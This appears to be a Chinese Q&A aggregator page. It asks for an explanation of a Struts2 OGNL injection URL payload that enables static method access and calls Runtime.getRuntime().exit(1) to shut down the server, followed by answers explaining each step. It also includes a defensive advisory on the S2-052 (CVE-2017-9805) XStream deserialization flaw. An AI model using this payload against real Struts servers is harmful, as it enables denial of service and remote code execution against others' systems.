求下面struts2漏洞攻击代码详解!!

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了求下面struts2漏洞攻击代码详解!!相关的知识,希望对你有一定的参考价值。

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
这段代码在运行低版本struts2项目时亲测有效,在获取应用的action后,将此段代码粘贴于action后,比如
localhost:8080/StrutsTest/goLogin.action之后,确实会让web应用服务关闭!
网上查资料得知OGNL引擎会将代码转义为

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

也就是最终结果为 java.lang.Runtime.getRuntime().exit(1);
求大神详解转义后的代码的运行流程和具体执行过程!

这有什么执行流程的,stauts的老毛病了,解析ognl,开始#_memberAccess['allowStaticMethodAccess']')(meh)=true,设置为true,允许通过地址栏执行方法,然后执行 java.lang.Runtime.getRuntime().exit(1);这一句相当于关闭这个web应用。就推退出tomcat了。追问

(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))
这句是什么意思?

追答

xwork.MethodAccessor.denyMethodExecution设置为false可以用ognl调用方法。

参考技术A 请教一下,低版本是指哪些版本追问

我测试的时候用的是struts2-core-2.1.8.1.jar,Maven库里面最新的core包的版本是2.3.4

高危漏洞| Struts REST插件远程代码执行漏洞(S2-052)

千疮百孔的 Struts2 应用又曝出存在新的高危远程代码执行漏洞。该漏洞由lgtm.com的安全研究员汇报,编号为 CVE-2017-9805 ,漏洞危害程度为高危(Critical)。当用户使用带有 XStream 程序的 Struts REST 插件来处理 XML payloads 时,可能会遭到远程代码执行攻击。

[9月6日已更新]

相似的漏洞已经在 Struts 中多次发现,今年早些时候攻击者还利用了 Windows 服务器中的 Apache Struts 漏洞散发 Cerber 勒索软件。

漏洞编号

CVE-2017-9805

S2-052


漏洞影响

Struts 2.5 – Struts 2.5.12 版本,据称还影响到 2.3.33 版本。

据悉,Fortune 100 中 65% 使用 Struts 框架搭建 Web 应用的企业均可能受到影响,如花旗集团、美国国家税务局、英国沃达丰电信、维珍航空等等,说明此次漏洞影响范围较大,相关企业应当给予重视。

漏洞概述

Struts2 REST 插件使用带有 XStream 程序的 XStream Handler 进行未经任何代码过滤的反序列化操作,这可能在反序列化XML payloads时导致远程代码执行。任意攻击者都可以构造恶意的XML内容提升权限。

漏洞是由 Semmle 使用其开源分析工具 lgtm 及 QL 语言编写的 Java 反序列威胁查询检测而出的,详情可参考[ lgtm blog ]。

向下兼容

由于Struts的某些默认限制,部分REST插件可能会停止工作。 此时请检查可能导致停止工作接口,这些接口分别是:

org.apache.struts2.rest.handler.AllowedClasses

org.apache.struts2.rest.handler.AllowedClassNames

org.apache.struts2.rest.handler.XStreamPermissionProvider

漏洞POC

漏洞发现者方面 Semmle 表示已经得到简单但有效的 exploit,但目前并不打算公开。

解决方案

目前尚无完美解决方案,建议如下:

1.建议尽快升级到 2.5.13版本。

2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:

<constant name=”struts.action.extension” value=”xhtml,,json” />

3.限制服务器端扩展类型,删除XML支持。

漏洞响应

2017 年 7 月 17 日:初次披露

2017 年 8 月 2 日: 为漏洞修复修改 API 

2017 年 8 月 14 日: Struts 修复前检查

2017 年 8 月 16 日: 漏洞正式得到编号 CVE-2017-9805

2017 年 9 月 5 日: Struts 版本 2.5.13 发布 


以上是关于求下面struts2漏洞攻击代码详解!!的主要内容,如果未能解决你的问题,请参考以下文章

漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)

漏洞预警Apache Struts2 再爆远程代码执行漏洞

缓解CVE-2017-5638 Apache Struts2漏洞

重磅 | Struts2 S2-048远程代码执行漏洞分析报告

泰合安管平台针对利用Struts2-045漏洞的攻击进行监测与响应

转载网防G01 完美狙击Struts2 (S2-052/046/045) 漏洞利用